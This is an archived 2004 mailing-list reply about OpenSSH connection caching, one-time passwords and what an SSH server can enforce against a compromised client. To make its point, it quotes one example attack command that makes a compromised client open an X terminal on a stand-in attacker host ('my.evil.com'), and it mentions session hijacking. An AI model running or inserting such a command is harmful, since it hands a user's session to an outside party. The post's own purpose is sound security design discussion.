Connection caching?
Darren Tucker
dtucker at zip.com.au
Tue May 4 14:36:52 EST 2004
Jefferson Ogata wrote:
> Damien Miller wrote:
>
>> Jefferson Ogata wrote:
[...]
>>> You're advocating a mechanism that renders one-time passwords useless
>>> against a remote client compromise.
>>
>> You miss the point: these controls are useless now, if they depend on
>> the integrity of an uncontrolled client.
>
> I wouldn't agree that they're useless, but they're clearly incomplete,
> hence the /need/ for a configuration directive.
Let's imagine for a moment that the server restricts each client to only
one session. If the client is compromised, there's still nothing to
stop it from jamming, eg, "xterm -display my.evil.com:6000" into the
command line. Or pretending the connection was terminated and hijacking
the session outright.
What it boils down to is that once a client is authenticated, the server
is trusting it with the credentials of the user it allowed to log in.
>>> That's fine for you, but not for me: I need to be able to turn that
>>> off on the ssh server.
>>
>> So write a patch.
>
> It disappoints me that you guys have so little concern about providing
> controllable authentication mechanisms. You really just don't get how
> dumb it is to have implemented this feature in the server /without/
> having provided a configuration directive to control it, do you?
There's a limit to what the server can enforce. How, for example, could
it prevent a user from posting their passwordless private key to Usenet?
Or writing their passwords on Post-It notes and sticking them on their
monitor? Pointing a webcam at their SecurID token? I'm sure you'll
agree that these are insecure behaviours.
> As for writing a patch, I wrote a patch ("Requiring multiple auth
> mechanisms") a few weeks ago and submitted it to the list. I didn't get
> one useful bit of feedback, or any indication whatever that the
> maintainers even understood the purpose of the patch.
I looked at it in conjunction with bug #701 (which is the
"PermitRootLogin without-password" thing). It occurred to me that a
more general mechanism could be a better solution for both. As usual, I
got sidetracked.
--
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69
Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.
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